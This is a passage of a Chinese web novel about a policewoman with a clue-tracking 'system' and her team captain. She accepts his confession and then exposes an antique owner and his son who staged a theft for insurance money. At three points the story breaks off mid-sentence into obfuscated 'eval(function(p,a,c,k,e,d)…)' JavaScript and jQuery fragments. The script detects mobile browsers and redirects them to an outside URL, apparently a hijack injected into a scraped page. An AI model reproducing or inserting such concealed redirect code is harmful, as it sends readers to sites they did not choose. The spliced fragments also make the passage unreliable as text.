程昭感觉脸上又开始发热发红了，幸亏江边的路灯不算太亮。 周立言又说：“我本来没打算那么仓促表白的，本来想再相处一段时间，等你适应了刑警的工作，再慢慢向你表露出来……” “但是没想到你会因为误会而避开我，我就有点急了。” “如果你不想和我交往，我们就继续做普通同事、普通朋友，你不要有任何的压力。” “如果你实在介意，还可以换到刑事二队，他们那边一直在说缺人，想要你过去。” 程昭看向周立言，发现周立言略带紧张的神情。平时周立言的淡定自信、严肃冷脸通通都不见了。 他的眼里只有她，她的眼里也只有他。 外界的纷纷扰扰似乎都短暂地消失了，世界突然安静了下来。 程昭心想，我好像可以大胆一点。 程昭：“好啊。” 周立言眼睛一亮：“那……” 程昭：“不过我们可不可以先不公开？我担心我工作刚转过来，别人会说闲话……而且我妹妹那边，暂时也离不开我……” 周立言温柔地笑了，轻轻地拉过程昭的手。 周立言：“没问题，都听你的，按你觉得舒服的节奏来。” 周立言牵着程昭的手，沿着江边慢慢走：“麻烦我们可以一个个慢慢解决，只要你不避开、不讨厌我就行。” 程昭：“……我没有避开你、讨厌你啊。这次只是因为我误会了。” 周立言：“嗯，所以以后你有什么疑问，都可以直接问我。” 程昭：“那我有一个问题。” 周立言：“你问。” 程昭：“你为什么会喜欢我啊？和你相比，我好像有点太普通了……” 周立言：“怎么会呢？” 周立言停下脚步，看着程昭：“你长得很可爱，来了市局一个月左右，大家都很喜欢你，还有不少人在打听你的情况。你又聪明又细心，很有正义感，遇到案件就追查到底。像之前周丽鸣绑架案，你只是看到一点蛛丝马迹，就一腔热情地，想方设法去破案救人。你本身就很有魅力，一点也不普通。” 程昭被夸得脸上红红的。 但是她还有一点疑虑，如果她不是原身这样的长相，周立言也会喜欢她吗？ 程昭：“那如果我长得不漂亮不可爱，你也会觉得我有魅力吗？” 周立言：“我第一次见你的时候，你刚出完车祸，鼻青脸肿的。那时候你给我们讲线索，我也觉得你很可爱很有魅力。” 周立言停顿了一下：“要我说我什么时候开始对你有好感的，我也说不上来。我就是觉得和你相处很舒服，觉得你人很可爱，觉得你做的东西很好吃。” 周立言摸摸程昭的头发，微微自然卷的发丝调皮地挠过周立言的掌心，好像挠在了他的心上。 “小昭，你应该自信一点，你很好很有魅力。” 程昭感觉心里涨涨的暖暖的：“周队……” 周立言轻笑：“私底下你应该叫我的名字，我现在是你男朋友了，对吧。” 程昭小声说：“……立言？” 周立言笑着揉揉程昭的头顶：“嗯。” 两人手牵手散了一会步，然后又认真地跑步锻炼了几十分钟。 周立言还指导了一下程昭，跑步呼吸换气的一些方法。 快十点半的时候，周立言见时间不早，才送了程昭回到小区楼下。 两人约定了继续一起上班。 两人依依惜别，程昭进了电梯，周立言才离开回家。 49. 古董迷案 程昭回到家，看到程露还在看电视。 程露听到声响，转身看过来：“姐，你回来啦？今天训练的时间变长了哦？” 程昭脸上微微一热，干笑着说：“是啊，稍微多练了一会。” 程昭突然想起，程露的同学，韩学文的背景调查结果，还没有提醒程露。 晚上吃饭的时候她因为心里有其他事情，一时疏忽忘记了。 程昭有点自责，不过幸好，现在提醒也不迟。 程昭走到妹妹身旁，正色道：“妹妹，你平时要小心你们班的韩学文……你还记得我几个月前的车祸吗？开车撞人的韩高煊，就是韩学文的堂哥，韩学文平日炫耀的那个混□□的哥哥。” 程露眼睛都瞪大了：“什么？！” 程昭安抚程露：“你也别太担心，他们只是亲戚而已。不过你最好离这个人远一点，他那个堂哥很麻烦很危险。” 程露皱眉：“没想到他之前吹嘘的，居然是那个犯人！那个韩高煊，是不是还没有被抓住？” 程昭：“是的，他在车祸之后，逃到其他国家去了，目前还没有归案……查案是警方的事情，你不要离那个韩学文太近了。有什么异常，要及时告诉我，知道吗？” 程露：“放心，我会小心韩学文的。有什么异常，我会第一时间告诉你的。” ………… 和妹妹交代完，程昭回了房间。 运动完出了一身汗，程昭先去洗澡。 洗完澡，看到周立言给自己发了几条信息。 周立言：我回到家了 周立言：刚刚去看了一下阳台，之前种下的花开了。【阳台花开的照片】 周立言：我先去洗个澡。 程昭偷笑，周立言现在和没表白之前相比，变得话多了很多，冷酷严肃的人设已经摇摇欲坠了。 不过，周立言居然喜欢种花？这反差有点大。 仔细看照片，他的阳台花草有很多，而且打理得井井有条，花草的长势看起来都很不错。 A市是南方城市，冬天花草也很多，不过周立言阳台花草长得这么好，肯定是日常花了不少功夫去照料。 而且还有一点，养花的阳台，看起来清扫得十分干净。花盆之间的间距十分有规律，让人不得不怀疑，这家主人有点强迫症。 程昭给周立言回信息：我刚刚也去洗澡了……你居然有养花？ 没多久，周立言回了信息：是啊，小时候和我奶奶一起住，她喜欢种菜养花，我也学了一点。 周立言：【阳台照片1】【阳台照片2】 周立言：下次过来，可以选几盆回家，刚好可以当过年的年花。 程昭感慨：感觉你私底下，和你平日的样子，有很大的区别。 周立言：对外习惯戴着面具了。严肃冷漠一点，可以节省掉很多麻烦。不过和你一起，我想让你多了解我真实的一面。 周立言：会觉得奇怪或者不好吗？男生喜欢种花。 程昭：没有！我觉得挺好的，说明你很有耐心和爱心。 程昭和周立言闲聊了几句。 时间不早，然后两人就互道晚安，休息睡觉了。 ………… 程昭和周立言开始了悄悄的办公室恋情。 上班、下班是一起的，工作时间各自正常办公。 除了两人平时对视的时间变长了、没有人的时候会偷偷牵一下手，其他的工作日常，好像没有什么特别的变化。 队里的其他人好像都没有发现什么，程昭也渐渐变得愈发的淡定了。 下班之后，有时候周立言会带程昭在外面吃饭，有时候两人各自回家吃饭。吃完之后，两人经常相约，一起去散步夜跑。 ………… 可能是前段时间视频平台案一下子抓了很多人，剩下的犯罪分子人人自危，低调行事，也可能是过年之前大家都在准备着过年，警队没有遇到什么新的大案。 不过，倒是有零零散散的盗窃案，在市内各区各镇发生。 因为刑事三队最近不忙，所以有两个金额较大的盗窃案，被安排了过来。 周立言分工，让乔良、陈丰、孙泽林负责一个案件，另一个案件由他、程昭、侯远山负责。 程昭她们负责的案件，发生在东城区一户有钱人的家中。 失主名叫宁升泰，今年43岁，是一家外贸公司的分公司总经理。 前几天他到外地出差，参加总公司的年会。 昨天晚上回到家，发现平时住的公寓被人撬门了，屋子里面东西被人翻得到处都是。 他家里有一个传家之宝——据说价值一百万的古董青花瓷，也丢失不见了。 失主发现古董被偷，马上报了警。 派出所接到报案之后，到了现场看了一圈，没有什么头绪。 因为涉案金额较大，所里人力不足，派出所向上反馈案件。最后案件分到了刑事三队。 程昭他们来到现场，鉴证科已经完成了取证。 宁升泰坐在客厅的沙发上，看到警察来了，他连忙站了起来：“警察同志你们来了，麻烦你们了，请务必帮我找回传家之宝啊！” 周立言安抚了失主，并和他介绍了到场的警察。 介绍完，周立言问：“虽然你和派出所的同事讲过，你发现案件的过程，可以请你再和我们讲一下案件经过吗？” 宁升泰连连点头：“没问题。是这样的，我三天前去了S市出差，昨天晚上12点多回到A市家里，准备开门的时候，发现门锁坏了，门一推就开。我猜是有小偷来过，于是连忙进了屋子里面，想看看有什么东西不见了。” “我打开灯，发现屋子里面被翻得乱七八糟的。虽然我家里值钱的东西不少，但是最贵的是一个青花瓷古董。我发现屋里失窃，便第一时间去看了青花瓷的情况。” 宁升泰一边说一边比划，领着他们去了主人房：“我家值钱的东西，大多数都放在卧室这个保险柜里面。我昨晚一开房间灯，保险柜的门是打开着的。里面除了一些文件，值钱的东西都被拿走了。” “我立刻报了警，派出所的警察同志来过，了解情况之后，让我尽量不要动现场，说第二天一早派人过来取证。那时时间太晚了，我就没有出去找酒店，在客厅沙发睡了一觉，用了一下厕所，屋子里其他东西我都没动过。” 程昭一边听宁升泰的复述，一边留意事件收集器的情况。 系统触发了一个新事件“古董迷案”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997720|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 事件概述页面没有记录刚刚失主说的内容，反而显示：公寓被伪装成失窃的样子，古董青花瓷等多件物品失踪……犯人一栏显示了宁升泰的名字，名字旁边还有一串省略号。时间一栏也显示未知。 信息关联表显示的内容就比较多了，主要是房间里面的一些零碎的线索。 其中，当前排列得比较靠前的线索： “卧室被打翻的茶水”、 “门口鞋架的拖鞋”、 “卧室的鞋印”、 “保险柜没有破坏痕迹”…… 程昭看了一下卧室地面，确实是有几组鞋印。好像是卧室茶杯被打翻了，残留的茶水流到地上，有人不小心踩了茶水，然后在瓷砖上面胡乱蹭了两下，随后留下了几个浅浅的印记。 程昭看了一眼宁升泰脚上的拖鞋，形状花纹似乎和地上的不同。 为了慎重起见，程昭等宁升泰讲完，便开口问：“宁先生，请问你回家之后就换了这双拖鞋吗？可以给我们看看鞋底的花纹吗？” 宁升泰愣了一下，然后脱了鞋子，鞋底朝向程昭等人方向，说：“我刚回来的时候是穿着外出的鞋子进来的。不过晚上穿着皮鞋不方便，后来就换上了拖鞋。” 程昭又问：“请问你平时是一个人住，还是？” 宁升泰：“我平时是一个人住的，不过我儿子、我女朋友偶尔会来这里。” 侯远山疑惑：“你儿子和你女朋友？” 宁升泰笑着说：“我和我前妻一年前离婚了，我儿子跟了我前妻。我谈了个女朋友，她嫌这边离她公司太远，不肯过来一起住。” 周立言让宁升泰提供他身边亲近的人的信息，方便警方排查。 宁升泰愣了一下，然后笑着提供了信息。 宁升泰的前妻，朱凯丽，43岁，XX银行职员。 宁升泰的儿子，宁飞腾，20岁，大学生。 宁升泰的女朋友，刘怡，30岁，装修公司职员。 问完大致的情况，周立言让宁升泰到客厅等待休息，他们再到处看看。 宁升泰：“没事，我也休息够了，我在旁边跟着吧，你们有什么疑问也可以立刻问我。” 周立言笑着拒绝了：“这是我们的办案要求，你跟着不合适，请在一边稍候吧。” 宁升泰抿了抿嘴：“行吧，那我去客厅等，你们有需要就叫我。” 等宁升泰走远，周立言让大家分头行动，到处观察，寻找线索。 程昭、侯远山点头，然后大家开始分头行动，查看现场。 程昭把屋子里的主人房、客房、书房、客厅、饭厅、厕所、厨房、玄关、阳台都看了一遍，检查了各处的柜子。 经过客厅的时候，可以明显感觉到宁升泰关注的视线，这个人做贼心虚，已经隐隐露出紧张的神色。 大家各自查看完毕，回到主人房集合。 周立言勾勾手指头，让大家靠近，然后低声说：“这个报案人有问题。” 侯远山：“啊？他真的有问题啊？我刚刚还在想，这人私德好像不太好，会不会有问题。” 周立言：“这个人的私德可能不太好。不过我说他有问题，是因为他的一些行为很矛盾，还有现场有点问题。” 50. 同谋 侯远山好奇：“他说的话有什么问题吗？现场那么乱。” 周立言：“他刚才和我们说的话，和他昨晚和派出所的同事说的，几乎一摸一样的，好像背书一样。而且他说的话，细节有点太多了。例如，去S市出差、回A市家里、打开灯……这些都有点过于细节了。” 侯远山：“哦，我懂了，好像是为了让我们相信他的话，故意编造的内容，所以细节很丰富。” 周立言：“是的，给我就是这样的感觉。另外，屋门和保险柜的痕迹有点矛盾，屋门的撬锁痕迹很明显，但是保险柜没有太多破坏的痕迹，所以我怀疑那些撬锁痕迹是不是故意留下来的。” 侯远山恍然大悟：“确实，如果小偷的技艺那么好，可以开保险柜，那么大门的痕迹不应该有这么多。” 周立言：“你们那边有什么发现吗？” 侯远山：“屋子被翻得太乱了，连客厅的电视柜、药柜这些不太可能存放贵重物品的地方，都被翻得乱七八糟。现在看来，估计是特意伪装的。” 程昭：“我也认为，古董被盗是宁升泰和人合谋，自导自演的一出戏……卧室里面有个杯子被打翻了，地面有一片茶水干涸的痕迹。被乱翻过的地方，附近都有沾着茶渍的鞋印。我看了鞋柜的鞋子，有一双拖鞋，底部还沾着一点点茶渍……我推测，卧室的鞋印是鞋柜的那双拖鞋留下的。” 周立言微微点头：“如果是正常小偷来偷东西，肯定不会换上人家家里的拖鞋。所以，你怀疑那个拖鞋的主人，就是合谋的人。” 程昭：“没错，来偷古董的人，可能习惯了进屋就换鞋子，也可能是那个人外出的鞋子不干净，反正他进来的时候换了那双拖鞋。看鞋子的码数，拖鞋应该属于儿子宁飞腾。” 沾有茶渍的拖鞋，是码数比较大的男款鞋子，所以程昭推测是宁升泰的儿子宁飞腾的。 系统也肯定了程昭的推测，将那个拖鞋的描述更新为宁飞腾的拖鞋。程昭对于合谋嫌疑人的推测，也被记录到列表上了。 但是令程昭疑惑的是，宁升泰提供自己身边人信息的时候，系统把儿子宁飞腾、女友刘怡都标记了关联。 程昭曾经在心里推测，刘怡也是同谋，但是这个推测没有被系统记录。所以刘怡并不是同谋。 系统标记了这个人，但是还没有显示这个人做了什么事。估计是还有一些事情，程昭还没有接触到。 侯远山：“这个宁升泰，干嘛要演这样一出戏啊？难道是买了保险，想要骗保？” 周立言：“我们回去查一查就知道了。等证据多一点，再找宁升泰问话。” 侯远山：“周队，我们接下来要做什么？” 周立言想了想：“现在我们假定案件是报案人自导自演的，有几条线需要去查证……” “第一是确定宁升泰的财务情况，看看他是不是给青花瓷上了保险。第二是联系物业，拿到这几天的监控视频，确定小偷的人数和作案时间。第三是查宁飞腾这三天的活动轨迹，看看能不能证明他来过这边的公寓……” “不过我们也不能完全忽视，青花瓷真的被盗的可能性。所以还需要查第四点，青花瓷的下落，看看有没有流到市面上贩卖。” “快要过年了，这个案件尽量快点解决吧。第一点和第四点应该可以在网上查询，这些先由远山来跟进。第二和第三点由我和程昭跟进。我们查完再回去和远山一起查没查完的，这样安排可以吗？” 侯远山、程昭：“没问题。” 周立言随即和鉴证科的人打了个电话，说了茶渍、鞋印和拖鞋的事，让他们回来把拖鞋也带回去检查。 鉴证科技术员：“好的，没问题，鞋印我们有拍照片，鞋柜是我们遗漏了。我们现在过来。” 没多久，鉴证科的人来了，把鞋柜的鞋子都拍照，取了鞋底样本。关键的拖鞋也被装入证物袋带走了。 侯远山也跟着鉴证科的人，一起回了警局。 ………… 宁升泰看到鉴证科的人去而复返，开始有点惴惴不安。 宁升泰干笑着问：“周警官，他们怎么把我家的鞋子带走了？” 周立言看了一下程昭，让程昭来尝试应对嫌疑人。 程昭想了想，然后笑着说：“我们看了现场情况，怀疑是熟人犯案。案件应该不用太久就可以查清了，请宁先生暂时不要出市，我们近期可能还需要你回答一些问题。” 宁升泰愣了一下，干笑道：“应该不会是熟人，我认识的人非富即贵，他们不会做这种事的。” 程昭：“嗯，有可能是，也有可能不是。我们会尽快查清，找到你的青花瓷的。” 程昭看了看周立言。 周立言微微一笑，对着程昭点点头，然后和屋主道别，带着程昭离开了屋子。 “你刚刚说得挺好的，报案人表现得越来越紧张了，一看就是心虚。”周围没有什么人，周立言卸下了平日的伪装，脸上露出爽朗地笑容，伸手摸了摸程昭的头顶。 突然被夸，程昭忍不住笑了：“真的吗？我刚刚有点紧张，担心自己会说错话。” 周立言揉了揉程昭头发，笑着摇摇头：“让我来说，可能也不会比你做得更好了。” 周立言若有所思，停顿了一下，然后又说：“报案人现在做贼心虚，接下来有可能会去联络他的同谋……这样吧，我们再补充一下计划，找人帮忙盯梢。” 之前接案的派出所负责人联系过周立言，所以周立言有他的联络方式。周立言给派出所的人打了个电话，和他们说明了情况，让他们安排人手，这几天帮忙盯着宁升泰。 派出所的人爽快地答应了周立言的请求，说马上安排人过来盯梢，有什么风吹草动就通知周立言。 挂了电话，两人一起去找物业负责人，请求他们提供最近几天的楼道、电梯、大门的监控录像。 物业的人也听说了业主失窃的事，所以十分配合，带着他们去了监控室，叫人导出数据。 监控室工作人员导出数据的时候，程昭还特意留意了宁升泰那一层的监控画面，宁升泰似乎叫了保洁公司上来清洁屋子。 程昭靠近周立言，小声吐槽：“这个失主，居然现在就叫人来搞卫生，也太心急了吧。如果我家被人偷了东西，我可能会先保留着现场，过段时间再收拾。” 周立言：“毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010719|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟我们已经完成取证了，人家住的房子，总不能一直乱着。他这么做也是合情合理的。不过确实是太心急了，显得他更有问题……等我们拿到录像，就去找宁飞腾。现在大学也放假了，他应该在家里，我们先调查一下他家的情况。” 关于宁飞腾是同谋的事，周立言看起来也十分肯定的样子，这让程昭有点好奇。她确定宁飞腾是靠系统，周立言是靠什么判断的呢？ 程昭开口问：“周队，你为什么很肯定，他儿子就是同谋？明明和他亲近的人，还有他的前妻和现女友。” 周立言眼睛闪过促狭的笑意：“因为神探小姐说了儿子很可疑，我就相信啦。” 程昭很惊讶：“啊？你就不怕我出错吗？” 周立言笑了：“开玩笑的，我觉得儿子可疑，一方面是你那段关于鞋子的推测，另一方面是这几个的利益关系……” “这个青花瓷是宁升泰的传家之宝，价值不菲，他应该会选择亲近可靠的人做同谋，以防被黑吃黑。他和前妻感情应该不太好，所以先跳过。现女友虽然有感情，但是不一定稳定。按道理，传家之宝最后都是给他的孩子的，所以同谋选他的儿子，应该是最合适的。” 程昭：“是哦，传家之宝，所以找他的儿子最安全。” 周立言又说：“当然了，这个只是最可能的推测，不一定绝对没错。如果不对的话，那我们也排除了一个错误的选项。一直查，总能查到正确的。” ………… 拿到了监控录像的拷贝，两人出发前往宁飞腾的家。 按响了门铃，出来开门的人正是宁飞腾。 周立言说明了两人的身份和来意，并请求宁飞腾配合调查问话。 宁飞腾有点不想配合：“我爸家里被偷，为什么来问我啊？又不关我事。” 程昭正色道：“怎么能说不关你事呢？你经常出入失主家中，知道这个青花瓷的存在，你本身就有嫌疑的。如果你不配合，我们就合理怀疑你是小偷了。” 宁飞腾皱眉，抿了抿嘴：“行吧，你们进来说话吧。” 家里只有宁飞腾在，他的母亲朱凯丽出去了上班。 两人跟着宁飞腾进到客厅。 宁飞腾不情不愿地说：“请坐，你们有什么要问就问吧。” 周立言：“你最近什么时候去过你父亲家里？” 宁飞腾：“最近……应该就是五天前吧，去他公寓吃了个饭。” 周立言：“你平时去你父亲家里，会不会很频繁？” 宁飞腾：“呃，频繁应该算不上，一个月可能去了四五次吧。虽然我跟了我妈，但是和我爸关系还是挺好的。” 周立言：“你这三天去过哪里？” 宁飞腾有点不耐烦：“能去哪里啊，就是市里到处逛逛呗！真把我当嫌疑犯啦？” 周立言沉声道：“麻烦你配合。” 宁飞腾抿了抿嘴：“我想一想……昨天我去了图书馆，前天去了松山公园，大前天去了江边钓鱼。” 程昭递给他纸和笔：“麻烦把去过的具体地点和时间写一下，方便我们去核实。” 宁飞腾不情不愿地写下了时间和地点。 51. 偷龙转凤 宁飞腾本来想一天写一个地点，随便应付一下。但是周立言要求他尽量详细，他又不敢不配合，不情不愿地写下了这几天的行程。 程昭站起身来，想要四处查探一下。 宁飞腾被突然站起来的程昭吓了一跳：“你要做什么？” 程昭微笑：“我想借用一下洗手间。” 宁飞腾欲言又止，纠结了两秒，然后说：“厕所在走廊右手边第一个门，你不要乱进房间啊。” 程昭笑了笑，又看了一眼周立言。 周立言不着痕迹地微微点了点头。 周立言继续拉着宁飞腾问话，引开他的注意力，方便程昭自由行动。 程昭慢慢走向走廊，眼睛一路四处乱瞟。 她走到走廊，回头看了一眼，确定宁飞腾看不到走廊这边，然后悄悄查看走廊连着的几个房间。 程昭打开系统，想看看事件收集里面，有什么新标记的内容。 系统标记了阳台的脏衣篓，里面一个沾了茶渍的裤子；标记了挂在椅子上的双肩背包，还有里面隐约露出来的螺丝刀；标记了桌面上的钥匙，里面有一个钥匙和报案人家里的钥匙一摸一样的：标记了床底的一个鞋盒…… 种种迹象都表明了，宁飞腾就是那个帮忙偷东西的同伙。 这个犯人十分粗心大意，很多痕迹都没有处理，甚至连偷东西时弄脏的衣服，都还没有清洗。 床底的鞋盒，在信息关联表里面排行很靠前。虽然还没有把鞋盒拿出来，但是程昭觉得，里面很可能就是被盗走的青花瓷。 于是程昭进入那个房间，俯身把鞋盒拿了出来。 “你怎么可以乱翻我的东西！” 宁飞腾见女警迟迟没有回到客厅，忍不住过来查看，刚好看到程昭把鞋盒从床底掏了出来。 既然被主人发现了，程昭也不找借口解释了，直接打开了鞋盒的盖子。 不出所料，里面正是一个青花瓷碗，和报案人提供的青花瓷照片，看起来一模一样。 “解释一下吧，你爸被偷走的古董，为什么会出现在你的床底？”周立言走到宁飞腾身后，抓住了他的肩膀，把他的胳膊反手扣住了。 宁飞腾下意识地挣扎了两下，但是没能挣开周立言的钳制。他从慌乱状态中清醒过来，放弃了抵抗。 宁飞腾垂头丧气：“我、我只是帮我爸一个忙而已……” 周立言：“我们回去警局慢慢说吧。” 然后，周立言又对程昭说：“你把青花瓷拿好，我们先回去警局。” 程昭想了想，把刚刚系统标记的关联物证——双肩包、脏裤子、钥匙都指了出来。 程昭解释了一番：“……我刚刚留意到一些疑似和案件相关的东西。这个双肩包里面的螺丝刀沾了一点金属碎屑，看起来像是撬过门锁之类的金属物品。阳台的脏衣篓露出了一个裤脚，似乎沾了茶色的液体，和案发现场的茶渍很像。桌面这个钥匙，和报案人家里的钥匙长得很相似。” 周立言挑眉，十分惊讶，程昭刚刚好像就周围看了几眼，居然就发现这么多线索。 周立言看向宁飞腾，问：“她说的对吗？” 宁飞腾感觉自己都被看透了，这个女警的眼神也未免太好了吧！ 面对警察的询问，宁飞腾也放弃狡辩了：“……她说的没错。” 周立言点点头：“那就找个袋子，都带回去吧。” 程昭比了个OK，然后在宁飞腾家里随手拿了个大袋子，把东西都装到了一起。 然后，周立言开车，一行人一起回到了警局。 ………… 侯远山看到周立言、程昭把嫌疑人和物证都带回来了，感到十分震惊。 侯远山：“我正想和你们说，宁升泰的财务状况、投保的事呢，没想到你们居然这么迅速，连嫌疑人、失物都找到了。” 周立言微微一笑，看向程昭：“程昭的功劳，程神探当场找到了失物，嫌疑人就放弃抵抗了。” 程昭笑嘻嘻地糊弄过去：“运气好，没办法。” 周立言：“远山，你那边有什么发现？” 侯远山正色道：“宁升泰的财务状况，确实是出了问题。他拿了很多钱去炒股票，结果亏损了。他拿去炒股投资的钱，远远超出他的经济水平，我怀疑他挪用公款了。你们看，这是相关的资料。” 侯远山拿出几份资料，递给周立言和程昭。 资料上写了宁升泰最近两年的收入支出情况，还写了他名下的股票基金等投资情况。他在股票上的投资金额，是他银行存款的十倍。有几支股票最近跌得厉害，价值差不多缩水了一半。 另外，侯远山还查到，宁升泰就职的外贸公司，接下来有一些重大的投资计划。 所以，宁升泰很可能是以前挪用了公款，现在又急着把钱还回去。 侯远山：“我还查到，宁升泰一个多月前，为他的古董买了高额的保险。” 周立言：“这么一来，动机就有了。” 侯远山：“那我们现在应该可以，请报案人过来问话了吧？” 周立言：“嗯，远山和我去走一趟吧。我还拜托了派出所的同事帮忙盯梢，现在带嫌疑人回警局，就不用连累他们熬夜了。” 侯远山看看时间，确实也不早了：“现在把人带回来，然后我们就可以先下班了吧？” 周立言：“嗯，如果他不肯开口，我们就明天再问。” 周立言看向程昭，安排道：“程昭就留在警局，看带回来的监控录像吧。我和远山出去一趟，很快回来。” 程昭点头。 侯远山跟着周立言出发，出发前还说了一句：“我有预感，我们可能今晚就可以结案了，哈哈哈……” 程昭在电脑快速播放录像，心里却有种预感：事情可能没有那么快结束。 ………… 宁升泰所住的公寓，物业提供了最近一周的监控录像。 报案人的公寓门口，在那一层走廊的尽头，旁边的一户刚好没人居住，所以没有邻居发现，这一户的门被撬开了。 监控没有覆盖全部公共区域，只拍到防火通道和电梯口附近的区域。 宁飞腾已经招认了。他是前天下午两点多的时候，去到他父亲的家里的。 因为有宁飞腾提供的时间点，程昭很快找到了对应的监控片段。 整个案件似乎已经真相大白了：报案人父子合谋，演了一出戏，骗取保险金。 但是，为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023571|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁升泰的女朋友刘怡，也被系统标记了呢？她在这出戏里面，好像还没有正式出场过。 程昭又重新查看了系统的信息关联表，想要从中找到一些可疑的地方。 列表里面排序最前的，分别是： “报案人是主谋”、 “报案人的儿子是同谋”、 “宁飞腾床下的鞋盒，藏着被偷走的瓷器”…… “被偷走的瓷器”，为什么不是“被偷走的古董”？ 难道是这件青花瓷本身有问题？ 程昭胡乱猜测，然后发现系统真的显示了“瓷器有问题”！ 看来，这个案件里面还有一股谜团。 程昭看了看时间，有点不确定鉴证科的人下班了没。 她尝试拨打了鉴证科的办公室电话，电话接通了。 程昭表明了身份和致电来意：“……我们刚才送过去的物证，里面那件古董瓷器，能不能检测出真伪？” 鉴证科的人有点为难：“我们通常就是检测痕迹，鉴别古董……可能要送去专业的实验室做检查，我帮你记录一下，送去实验室吧，结果可能要晚一点才出来。” 程昭感谢道：“好的好的，麻烦你了。” 鉴证科技术员笑着说：“不客气，结果出来我们就通知你们。” 电话挂断，程昭又继续发散思维。 既然古董出问题了，刘怡会不会就是偷龙转凤的人？她知道了宁升泰父子的骗保计划，然后暗中先偷换了青花瓷。即使宁升泰最后发现古董被换成假的，也不敢声张报案。真正偷走古董的人，等风声过去，就可以偷偷出售赃物，闷声发大财了。 系统更新显示了相关内容，肯定了程昭的猜测。 确定了刘怡的角色，程昭心里大定。 接下来，只要找到刘怡出现过的证据，就可以把她也放到调查范围里面了。 不知道宁升泰本人，知不知道古董被偷龙转凤的事。 ………… 物业提供了一周范围的监控录像，程昭便从宁飞腾到公寓的时间点，往前倒放录像。 程昭在网上找到了刘怡的照片，用来比对视频里面出现过的人。 她还没有看完，周立言、侯远山就回来了。 周立言看到程昭还在看视频监控，便走过来问：“监控里面有什么问题吗？宁飞腾不是提供了时间点吗？” 程昭暂停了播放，抬头和他们解释：“我感觉那个青花瓷看起来太新了，有点担心是不是假的。鉴证科说古董的真假鉴定，需要等实验室来检测，迟一些才可以出报告。我看完宁飞腾出现的录像之后，想要看看有没有其他可疑的人去过公寓。” 周立言和侯远山都微微一愣。 侯远山挠挠头：“这……会不会是你想太多了？宁飞腾以前肯定看过真品的，他把青花瓷偷到手，肯定有好好查看过吧。” 程昭反驳：“但是这个宁飞腾的个性，看起来挺马虎的。他前天作案弄脏的衣服，回家之后都没有马上清洗。” 周立言思考了片刻，然后说：“青花瓷是真是假，等实验室检测报告出来就知道了。宁升泰现在还在嘴硬，说不知道是他儿子来偷的东西。我们干脆把他们晾一晾，明天我们再继续审问。” 52. 真假青花瓷 第二天，周立言和侯远山继续审问宁升泰。 一开始，宁升泰依旧态度强硬，不肯承认自己和儿子合伙骗保。 宁升泰：“你们有什么证据，说我报假警骗保？我的儿子偷我的东西，就不是偷了？他说什么你们都信，我说我是无辜的，你们怎么就不信？我告诉你们，我没犯法，你们没有权利拘留我这么久的！” 侯远山有点无奈：“那个是你儿子耶，你把事情都推他，你有考虑过他的未来吗？” 宁升泰：“我撤案不可以吗？既然我的青花瓷找回来了，我出谅解书，我儿子就没事了吧。” 周立言：“现在不是你撤案，就可以当无事发生的。而且，你挪用公款的事是板上钉钉，无法抵赖的。你现在这样的态度，会影响法官对你的印象。” 宁升泰动摇了。其实，他昨晚就已经想了很多东西，事情都被揭穿了，即使他再狡辩，也用处不大。现在听到周立言提起他挪用公款的事，更加感觉到大势已去。 周立言看到宁升泰表情变化，继续乘胜追击：“我们现在已经掌握很多证据了，你儿子也坦白招供了。你不如早日坦白，减少负面影响。” 宁升泰叹了口气，肩膀塌了下来，说：“好吧，我招……” 宁升泰承认了自己和宁飞腾合伙，假装家里被盗，想要拿保险金，填补亏空的公款。 他在出差前两天，让他儿子来到公寓，两人商量好了假装偷盗的计划。 宁飞腾在他回家前一天动手，撬门锁，弄乱家里，带走一些财物，伪装成入户盗窃的样子。 宁升泰十分悔恨：“都怪我当初听信了小道消息，买了这么多股票。本来我想赚一波就退场，没想到股票突然暴跌……我们公司后续有大计划，需要动用很多资金，肯定会发现账目有问题。我不想丢掉工作，只好铤而走险。” 侯远山有点不明白：“你为什么不直接卖掉你那件古董呢？” 宁升泰苦笑：“主要是舍不得，毕竟是传了很多代的老物件了。我想着，如果拿得到保险金，再卖掉一些值钱的东西，就足够填补空缺了。没想到这么快就被你们识破了。” ………… 拿到了宁升泰的供词，案件似乎差不多可以完结了，但是昨晚程昭对青花瓷真伪的怀疑，需要等实验室出结果。 程昭联系过实验室，询问了检测的进度。 实验室反馈说，大概要等到中午左右，才可以出结果。 程昭虽然心急，但是只能乖乖继续等待。 ………… 程昭旁观完周立言他们审讯犯人，回到办公室，继续查看监控录像。 因为不确定刘怡出现的时间点，所以花费了一些功夫，才找到刘怡出现的画面。 